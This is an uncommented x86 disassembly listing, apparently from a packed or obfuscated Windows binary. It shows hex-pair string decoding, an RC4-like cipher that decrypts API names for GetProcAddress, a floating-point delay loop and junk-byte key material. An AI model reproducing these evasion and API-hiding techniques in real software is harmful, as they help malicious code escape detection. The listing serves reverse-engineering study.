movzx eax, byte [ebp - 0x3344]
shl eax, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x33c1]
shl edx, 0
lea esi, [ebp - 0x300c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3472]
shl edx, 0
lea esi, [ebp - 0x300c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3344], cl
mov cl, byte [ebp - 0x3473]
mov byte [ebp - 0x33c1], cl
mov dl, byte [ebp - 0x3344]
mov byte [ebp - 0x3496], dl
cmp dword [ebp - 0x3488], 0
jbe 0x49a1e8
mov eax, dword [ebp - 0x3488]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x2ccc]
mov dl, byte [ebp - 0x3496]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3e60]
add eax, 6
mov dword [ebp - 0x3e60], eax
mov ecx, dword [ebp - 0x3488]
add ecx, 1
mov dword [ebp - 0x4a64], ecx
jmp 0x49a217
mov edx, dword [ebp - 0x4a64]
add edx, 1
mov dword [ebp - 0x4a64], edx
mov eax, dword [ebp - 0x4a64]
cmp eax, dword [ebp - 0x3e60]
jge 0x49a4de
mov ecx, dword [ebp - 0x3488]
add ecx, 1
mov dword [ebp - 0x3488], ecx
mov edx, dword [ebp - 0x3488]
shl edx, 1
mov dword [ebp - 0x47ec], edx
mov eax, dword [ebp - 0x47ec]
shl eax, 0
add eax, dword [ebp - 0x49f4]
movzx ecx, byte [eax]
mov dword [ebp - 0x4698], ecx
mov dword [ebp - 0x469c], 0x9a
mov edx, dword [ebp - 0x3488]
shl edx, 1
add edx, 1
mov dword [ebp - 0x47e8], edx
mov eax, dword [ebp - 0x47e8]
shl eax, 0
add eax, dword [ebp - 0x49f4]
movzx ecx, byte [eax]
mov dword [ebp - 0x46a0], ecx
mov dword [ebp - 0x46a4], 0xbf
mov edx, dword [ebp - 0x4698]
sub edx, dword [ebp - 0x469c]
mov dword [ebp - 0x46a8], edx
mov eax, dword [ebp - 0x46a0]
sub eax, dword [ebp - 0x46a4]
mov dword [ebp - 0x46ac], eax
mov ecx, dword [ebp - 0x46a8]
shl ecx, 4
mov dword [ebp - 0x47e4], ecx
mov edx, dword [ebp - 0x46ac]
mov dword [ebp - 0x4844], edx
mov eax, dword [ebp - 0x47e4]
or eax, dword [ebp - 0x4844]
mov dword [ebp - 0x4848], eax
mov cl, byte [ebp - 0x4848]
mov byte [ebp - 0x3473], cl
movzx edx, byte [ebp - 0x33c1]
shl edx, 0
lea eax, [ebp - 0x300c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3471], cl
movzx edx, byte [ebp - 0x3310]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3343]
add edx, ecx
mov byte [ebp - 0x3343], dl
mov al, byte [ebp - 0x3310]
add al, 1
mov byte [ebp - 0x3310], al
movzx ecx, byte [ebp - 0x3343]
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [ebp - 0x33c1]
shl eax, 0
lea esi, [ebp - 0x300c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3344]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [ebp - 0x3343]
shl ecx, 0
lea esi, [ebp - 0x300c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3310]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [ebp - 0x3344]
shl edx, 0
lea esi, [ebp - 0x300c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3310]
shl ecx, 0
lea edx, [ebp - 0x300c]
mov al, byte [ebp - 0x3471]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3471]
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3472]
add ecx, eax
mov byte [ebp - 0x3472], cl
movzx edx, byte [ebp - 0x3473]
movzx eax, byte [ebp - 0x3343]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3310]
shl ecx, 0
lea esi, [ebp - 0x300c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3344]
shl ecx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x33c1]
shl eax, 0
lea esi, [ebp - 0x300c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3472]
shl eax, 0
lea esi, [ebp - 0x300c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3344], dl
mov dl, byte [ebp - 0x3473]
mov byte [ebp - 0x33c1], dl
mov al, byte [ebp - 0x3344]
mov byte [ebp - 0x3496], al
cmp dword [ebp - 0x3488], 0
jbe 0x49a4d9
mov ecx, dword [ebp - 0x3488]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x2ccc]
mov al, byte [ebp - 0x3496]
mov byte [ecx + edx], al
jmp 0x49a208
mov ecx, dword [ebp - 0x3e60]
add ecx, 1
mov dword [ebp - 0x3e60], ecx
mov edx, dword [ebp - 0x3e60]
add edx, 7
mov dword [ebp - 0x3e60], edx
mov eax, dword [ebp - 0x3488]
add eax, 1
mov dword [ebp - 0x4a64], eax
jmp 0x49a51c
mov ecx, dword [ebp - 0x4a64]
add ecx, 1
mov dword [ebp - 0x4a64], ecx
mov edx, dword [ebp - 0x4a64]
cmp edx, dword [ebp - 0x3e60]
jge 0x49a7e4
mov eax, dword [ebp - 0x3488]
add eax, 1
mov dword [ebp - 0x3488], eax
mov ecx, dword [ebp - 0x3488]
shl ecx, 1
mov dword [ebp - 0x47ec], ecx
mov edx, dword [ebp - 0x47ec]
shl edx, 0
add edx, dword [ebp - 0x49f4]
movzx eax, byte [edx]
mov dword [ebp - 0x4698], eax
mov dword [ebp - 0x469c], 0x9a
mov ecx, dword [ebp - 0x3488]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x47e8], ecx
mov edx, dword [ebp - 0x47e8]
shl edx, 0
add edx, dword [ebp - 0x49f4]
movzx eax, byte [edx]
mov dword [ebp - 0x46a0], eax
mov dword [ebp - 0x46a4], 0xbf
mov ecx, dword [ebp - 0x4698]
sub ecx, dword [ebp - 0x469c]
mov dword [ebp - 0x46a8], ecx
mov edx, dword [ebp - 0x46a0]
sub edx, dword [ebp - 0x46a4]
mov dword [ebp - 0x46ac], edx
mov eax, dword [ebp - 0x46a8]
shl eax, 4
mov dword [ebp - 0x47e4], eax
mov ecx, dword [ebp - 0x46ac]
mov dword [ebp - 0x4844], ecx
mov edx, dword [ebp - 0x47e4]
or edx, dword [ebp - 0x4844]
mov dword [ebp - 0x4848], edx
mov al, byte [ebp - 0x4848]
mov byte [ebp - 0x3473], al
movzx ecx, byte [ebp - 0x33c1]
shl ecx, 0
lea edx, [ebp - 0x300c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3471], al
movzx ecx, byte [ebp - 0x3310]
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3343]
add ecx, eax
mov byte [ebp - 0x3343], cl
mov dl, byte [ebp - 0x3310]
add dl, 1
mov byte [ebp - 0x3310], dl
movzx eax, byte [ebp - 0x3343]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [ebp - 0x33c1]
shl edx, 0
lea esi, [ebp - 0x300c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3344]
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [ebp - 0x3343]
shl eax, 0
lea esi, [ebp - 0x300c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3310]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [ebp - 0x3344]
shl ecx, 0
lea esi, [ebp - 0x300c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3310]
shl eax, 0
lea ecx, [ebp - 0x300c]
mov dl, byte [ebp - 0x3471]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3471]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3472]
add eax, edx
mov byte [ebp - 0x3472], al
movzx ecx, byte [ebp - 0x3473]
movzx edx, byte [ebp - 0x3343]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3310]
shl eax, 0
lea esi, [ebp - 0x300c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x300c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3344]
shl eax, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x33c1]
shl edx, 0
lea esi, [ebp - 0x300c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3472]
shl edx, 0
lea esi, [ebp - 0x300c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3344], cl
mov cl, byte [ebp - 0x3473]
mov byte [ebp - 0x33c1], cl
mov dl, byte [ebp - 0x3344]
mov byte [ebp - 0x3496], dl
cmp dword [ebp - 0x3488], 0
jbe 0x49a7df
mov eax, dword [ebp - 0x3488]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x2ccc]
mov dl, byte [ebp - 0x3496]
mov byte [eax + ecx], dl
jmp 0x49a50d
mov eax, dword [ebp - 0x3e60]
add eax, 1
mov dword [ebp - 0x3e60], eax
mov ecx, dword [ebp - 0x3488]
add ecx, 1
mov dword [ebp - 0x3488], ecx
mov edx, dword [ebp - 0x3e60]
add edx, 1
mov dword [ebp - 0x3e60], edx
mov eax, dword [ebp - 0x3488]
shl eax, 1
mov dword [ebp - 0x47ec], eax
mov ecx, dword [ebp - 0x47ec]
shl ecx, 0
add ecx, dword [ebp - 0x49f4]
movzx edx, byte [ecx]
mov dword [ebp - 0x4698], edx
mov dword [ebp - 0x469c], 0x9a
mov eax, dword [ebp - 0x3488]
shl eax, 1
add eax, 1
mov dword [ebp - 0x47e8], eax
mov ecx, dword [ebp - 0x47e8]
shl ecx, 0
add ecx, dword [ebp - 0x49f4]
movzx edx, byte [ecx]
mov dword [ebp - 0x46a0], edx
mov dword [ebp - 0x46a4], 0xbf
mov eax, dword [ebp - 0x4698]
sub eax, dword [ebp - 0x469c]
mov dword [ebp - 0x46a8], eax
mov ecx, dword [ebp - 0x46a0]
sub ecx, dword [ebp - 0x46a4]
mov dword [ebp - 0x46ac], ecx
mov edx, dword [ebp - 0x46a8]
shl edx, 4
mov dword [ebp - 0x47e4], edx
mov eax, dword [ebp - 0x46ac]
mov dword [ebp - 0x4844], eax
mov ecx, dword [ebp - 0x47e4]
or ecx, dword [ebp - 0x4844]
mov dword [ebp - 0x4848], ecx
mov dl, byte [ebp - 0x4848]
mov byte [ebp - 0x3473], dl
movzx eax, byte [ebp - 0x33c1]
shl eax, 0
lea ecx, [ebp - 0x300c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3471], dl
movzx eax, byte [ebp - 0x3310]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3343]
add eax, edx
mov byte [ebp - 0x3343], al
mov cl, byte [ebp - 0x3310]
add cl, 1
mov byte [ebp - 0x3310], cl
movzx edx, byte [ebp - 0x3343]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [ebp - 0x33c1]
shl ecx, 0
lea esi, [ebp - 0x300c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3344]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [ebp - 0x3343]
shl edx, 0
lea esi, [ebp - 0x300c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3310]
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [ebp - 0x3344]
shl eax, 0
lea esi, [ebp - 0x300c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3310]
shl edx, 0
lea eax, [ebp - 0x300c]
mov cl, byte [ebp - 0x3471]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3471]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3472]
add edx, ecx
mov byte [ebp - 0x3472], dl
movzx eax, byte [ebp - 0x3473]
movzx ecx, byte [ebp - 0x3343]
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3310]
shl edx, 0
lea esi, [ebp - 0x300c]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3344]
shl edx, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x33c1]
shl ecx, 0
lea esi, [ebp - 0x300c]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3472]
shl ecx, 0
lea esi, [ebp - 0x300c]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3344], al
mov al, byte [ebp - 0x3473]
mov byte [ebp - 0x33c1], al
mov cl, byte [ebp - 0x3344]
mov byte [ebp - 0x3496], cl
cmp dword [ebp - 0x3488], 0
jbe 0x49aab4
mov edx, dword [ebp - 0x3488]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x2ccc]
mov cl, byte [ebp - 0x3496]
mov byte [edx + eax], cl
mov edx, 1
imul eax, edx, 0xe
mov dword [ebp - 0x5d68], eax
cmp dword [ebp - 0x5d68], 0xf
jae 0x49aacd
jmp 0x49aad2
call fcn.009b1617
lea ecx, [ebp - 0x2ccc]
add ecx, dword [ebp - 0x5d68]
mov byte [ecx], 0
jmp 0x49ab34
mov dword [ebp - 0x3488], 0
jmp 0x49aafe
mov edx, dword [ebp - 0x3488]
add edx, 1
mov dword [ebp - 0x3488], edx
cmp dword [ebp - 0x3488], 0xf
jae 0x49ab34
mov eax, dword [ebp - 0x3488]
mov dword [ebp - 0x5d64], eax
cmp dword [ebp - 0x5d64], 0xf
jae 0x49ab1e
jmp 0x49ab23
call fcn.009b1617
lea ecx, [ebp - 0x2ccc]
add ecx, dword [ebp - 0x5d64]
mov byte [ecx], 0
jmp 0x49aaef
lea edx, [ebp - 0x2ccc]
push edx
mov eax, dword [ebp - 0x348c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00c3c], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x53f4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x51b4], xmm0
mov dword [ebp - 0x33d0], 0
mov dword [ebp - 0x49f0], 0
mov dword [ebp - 0x5870], 0
mov dword [ebp - 0x5558], 1
mov dword [ebp - 0x46b0], 0
mov dword [ebp - 0x5b38], 0
mov dword [ebp - 0x3758], 0
mov dword [ebp - 0x3e64], 0
mov dword [ebp - 0x3b88], 0
mov dword [ebp - 0x3b8c], 0
mov dword [ebp - 0x3e68], 0
mov dword [ebp - 0x3b90], 0
mov dword [ebp - 0x3b94], 0
mov dword [ebp - 0x3b98], 0
mov dword [ebp - 0x3b9c], 0
mov dword [ebp - 0x3cfc], 0
mov dword [ebp - 0x3d00], 0
mov dword [ebp - 0x3d04], 0
mov dword [ebp - 0x49ec], 0
mov byte [ebp - 0x3259], 0
mov byte [ebp - 0x3297], 0
mov byte [ebp - 0x332c], 0
mov byte [ebp - 0x3298], 0
mov byte [ebp - 0x32da], 0
mov byte [ebp - 0x340a], 0
mov byte [ebp - 0x3d9e], 0
mov byte [ebp - 0x3336], 0
mov byte [ebp - 0x3335], 0
mov byte [ebp - 0x345a], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x53f4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x51b4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x51b4], xmm0
jmp 0x49aca2
movsd xmm0, qword [ebp - 0x51b4]
addsd xmm0, qword [0x9d3068]
movsd qword [ebp - 0x51b4], xmm0
movsd xmm0, qword [0x9d4f30]
comisd xmm0, xmmword [ebp - 0x51b4]
jbe 0x49ad53
movsd xmm0, qword [0x9d3d40]
mulsd xmm0, qword [ebp - 0x51b4]
mulsd xmm0, qword [ebp - 0x51b4]
movsd xmm1, qword [ebp - 0x51b4]
mulsd xmm1, qword [ebp - 0x51b4]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d39d0]
mulsd xmm1, qword [ebp - 0x51b4]
mulsd xmm1, qword [ebp - 0x51b4]
addsd xmm1, qword [0x9d3ad0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x53f4]
movsd qword [ebp - 0x53f4], xmm0
movsd xmm0, qword [ebp - 0x53f4]
comisd xmm0, xmmword [0x9d3c98]
jbe 0x49ad4e
movsd xmm0, qword [0x9d37e0]
mulsd xmm0, qword [ebp - 0x51b4]
movsd xmm1, qword [ebp - 0x53f4]
subsd xmm1, xmm0
movsd qword [ebp - 0x53f4], xmm1
jmp 0x49ac8a
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x53f4]
jbe 0x49ad97
cli
leave
int1
sal edi, cl
sal bh, cl
int 0xfa
into
clc
sar edx, 1
sar ecx, 1
invalid
mov dword [ebp - 0x614c], 0x49ad60
mov dword [ebp - 0x6148], 0x49ad7a
mov ecx, dword [ebp - 0x614c]
mov dword [ebp - 0x3f74], ecx
mov edx, dword [ebp - 0x6148]
mov dword [ebp - 0x6144], edx
mov byte [ebp - 0x3d9e], 0x1c
mov dword [ebp - 0x33d0], 0
mov dword [ebp - 0x49f0], 0
mov dword [ebp - 0x33d0], 0
jmp 0x49adf9
mov eax, dword [ebp - 0x33d0]
add eax, 1
mov dword [ebp - 0x33d0], eax
cmp dword [ebp - 0x33d0], 0x100
jae 0x49ae1f
mov ecx, dword [ebp - 0x33d0]
shl ecx, 0
lea edx, [ebp - 0x1d18]
mov al, byte [ebp - 0x33d0]
mov byte [ecx + edx], al
jmp 0x49adea
mov dword [ebp - 0x49f0], 0
mov byte [ebp - 0x340a], 0
mov dword [ebp - 0x33d0], 0xff
jmp 0x49ae4b
mov ecx, dword [ebp - 0x33d0]
sub ecx, 1
mov dword [ebp - 0x33d0], ecx
cmp dword [ebp - 0x33d0], 0
jbe 0x49b111
mov dword [ebp - 0x5870], 0
mov dword [ebp - 0x5558], 1
mov dword [ebp - 0x46b0], 0
mov edx, dword [ebp - 0x5558]
cmp edx, dword [ebp - 0x33d0]
jae 0x49ae97
mov eax, dword [ebp - 0x5558]
shl eax, 1
add eax, 1
mov dword [ebp - 0x5558], eax
jmp 0x49ae76
mov ecx, dword [ebp - 0x49f0]
mov dword [ebp - 0x5d60], ecx
cmp dword [ebp - 0x5d60], 3
ja case.default.0x49aeb6
mov edx, dword [ebp - 0x5d60]
jmp dword [edx*4 + 0x4de8cc]
movzx eax, byte [ebp - 0x340a]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x53f4]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340a], bl
jmp 0x49afbd
movzx edx, byte [ebp - 0x340a]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x53f4]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340a], bl
jmp 0x49afbd
movzx ecx, byte [ebp - 0x340a]
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53f4]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340a], bl
jmp 0x49afbd
movzx eax, byte [ebp - 0x340a]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x53f4]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340a], bl
jmp 0x49afbd
movzx edx, byte [ebp - 0x340a]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [edx + eax]
mov edx, dword [ebp - 0x49f0]
sub edx, 4
shl edx, 0
add edx, dword [ebp - 0x6144]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x340a], cl
mov ecx, dword [ebp - 0x49f0]
add ecx, 1
mov dword [ebp - 0x49f0], ecx
movzx edx, byte [ebp - 0x3d9e]
cmp dword [ebp - 0x49f0], edx
jb 0x49affb
mov dword [ebp - 0x49f0], 0
movzx eax, byte [ebp - 0x3d9e]
movzx ecx, byte [ebp - 0x340a]
add ecx, eax
mov byte [ebp - 0x340a], cl
movzx edx, byte [ebp - 0x340a]
and edx, dword [ebp - 0x5558]
mov dword [ebp - 0x46b0], edx
mov eax, dword [ebp - 0x5870]
add eax, 1
mov dword [ebp - 0x5870], eax
cmp dword [ebp - 0x5870], 0xb
jbe 0x49b03a
mov eax, dword [ebp - 0x46b0]
xor edx, edx
div dword [ebp - 0x33d0]
mov dword [ebp - 0x46b0], edx
mov ecx, dword [ebp - 0x46b0]
cmp ecx, dword [ebp - 0x33d0]
ja 0x49ae97
mov edx, dword [ebp - 0x33d0]
cmp edx, dword [ebp - 0x46b0]
je 0x49b10c
mov eax, dword [ebp - 0x33d0]
shl eax, 0
lea ecx, [ebp - 0x1d18]
mov edx, dword [ebp - 0x46b0]
shl edx, 0
lea esi, [ebp - 0x1d18]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x33d0]
shl ecx, 0
lea edx, [ebp - 0x1d18]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x46b0]
shl eax, 0
lea ecx, [ebp - 0x1d18]
mov edx, dword [ebp - 0x33d0]
shl edx, 0
lea esi, [ebp - 0x1d18]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x46b0]
shl ecx, 0
lea edx, [ebp - 0x1d18]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x33d0]
shl eax, 0
lea ecx, [ebp - 0x1d18]
mov edx, dword [ebp - 0x46b0]
shl edx, 0
lea esi, [ebp - 0x1d18]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x33d0]
shl ecx, 0
lea edx, [ebp - 0x1d18]
mov byte [ecx + edx], al
jmp 0x49ae3c
mov eax, 1
shl eax, 0
lea ecx, [ebp - 0x1d18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3259], dl
mov eax, 1
imul ecx, eax, 3
lea edx, [ebp - 0x1d18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3297], al
mov ecx, 1
imul edx, ecx, 5
lea eax, [ebp - 0x1d18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x332c], cl
mov edx, 1
imul eax, edx, 7
lea ecx, [ebp - 0x1d18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3298], dl
movzx eax, byte [ebp - 0x340a]
shl eax, 0
lea ecx, [ebp - 0x1d18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x32da], dl
mov dword [ebp - 0x5b38], 0x1a
cmp dword [ebp - 0x5b38], 2
jle 0x49cf77
mov eax, dword [ebp - 0x5b38]
and eax, 1
jne 0x49cf77
mov dword [ebp - 0x33d0], 0
mov dword [ebp - 0x3758], 0
mov ecx, dword [ebp - 0x3758]
add ecx, 1
mov dword [ebp - 0x3758], ecx
mov dword [ebp - 0x3e64], 0
mov edx, dword [ebp - 0x33d0]
shl edx, 1
mov dword [ebp - 0x3e64], edx
mov dword [ebp - 0x3b88], 0
mov eax, dword [ebp - 0x3e64]
shl eax, 0
add eax, dword [ebp - 0x3f74]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3b88]
mov dword [ebp - 0x3b88], ecx
mov dword [ebp - 0x3b8c], 0
mov edx, dword [ebp - 0x3b8c]
add edx, 0xef
mov dword [ebp - 0x3b8c], edx
mov dword [ebp - 0x3e68], 0
mov eax, dword [ebp - 0x33d0]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e68], eax
mov dword [ebp - 0x3b90], 0
mov ecx, dword [ebp - 0x3e68]
shl ecx, 0
add ecx, dword [ebp - 0x3f74]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3b90]
mov dword [ebp - 0x3b90], edx
mov dword [ebp - 0x3b94], 0
mov eax, dword [ebp - 0x3b94]
add eax, 0xc6
mov dword [ebp - 0x3b94], eax
mov dword [ebp - 0x3b98], 0
mov ecx, dword [ebp - 0x3b88]
sub ecx, dword [ebp - 0x3b8c]
add ecx, dword [ebp - 0x3b98]
mov dword [ebp - 0x3b98], ecx
mov dword [ebp - 0x3b9c], 0
mov edx, dword [ebp - 0x3b90]
sub edx, dword [ebp - 0x3b94]
add edx, dword [ebp - 0x3b9c]
mov dword [ebp - 0x3b9c], edx
mov dword [ebp - 0x3cfc], 0
mov eax, dword [ebp - 0x3b98]
shl eax, 4
mov dword [ebp - 0x3cfc], eax
mov dword [ebp - 0x3d00], 0
mov ecx, dword [ebp - 0x3b9c]
mov dword [ebp - 0x3d00], ecx
mov dword [ebp - 0x3d04], 0
mov edx, dword [ebp - 0x3cfc]
or edx, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], edx
mov byte [ebp - 0x3336], 0
mov al, byte [ebp - 0x3d04]
mov byte [ebp - 0x3336], al
mov byte [ebp - 0x3335], 0
movzx ecx, byte [ebp - 0x32da]
shl ecx, 0
lea edx, [ebp - 0x1d18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3335], al
movzx ecx, byte [ebp - 0x3259]
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3297]
add ecx, eax
mov byte [ebp - 0x3297], cl
mov dl, byte [ebp - 0x3259]
add dl, 1
mov byte [ebp - 0x3259], dl
movzx eax, byte [ebp - 0x3297]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [ebp - 0x32da]
shl edx, 0
lea esi, [ebp - 0x1d18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3298]
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [ebp - 0x3297]
shl eax, 0
lea esi, [ebp - 0x1d18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3259]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [ebp - 0x3298]
shl ecx, 0
lea esi, [ebp - 0x1d18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3259]
shl eax, 0
lea ecx, [ebp - 0x1d18]
mov dl, byte [ebp - 0x3335]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3335]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x332c]
add eax, edx
mov byte [ebp - 0x332c], al
movzx ecx, byte [ebp - 0x3336]
movzx edx, byte [ebp - 0x3297]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3259]
shl eax, 0
lea esi, [ebp - 0x1d18]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3298]
shl eax, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32da]
shl edx, 0
lea esi, [ebp - 0x1d18]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x332c]
shl edx, 0
lea esi, [ebp - 0x1d18]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [eax + edx]
xor ecx, eax
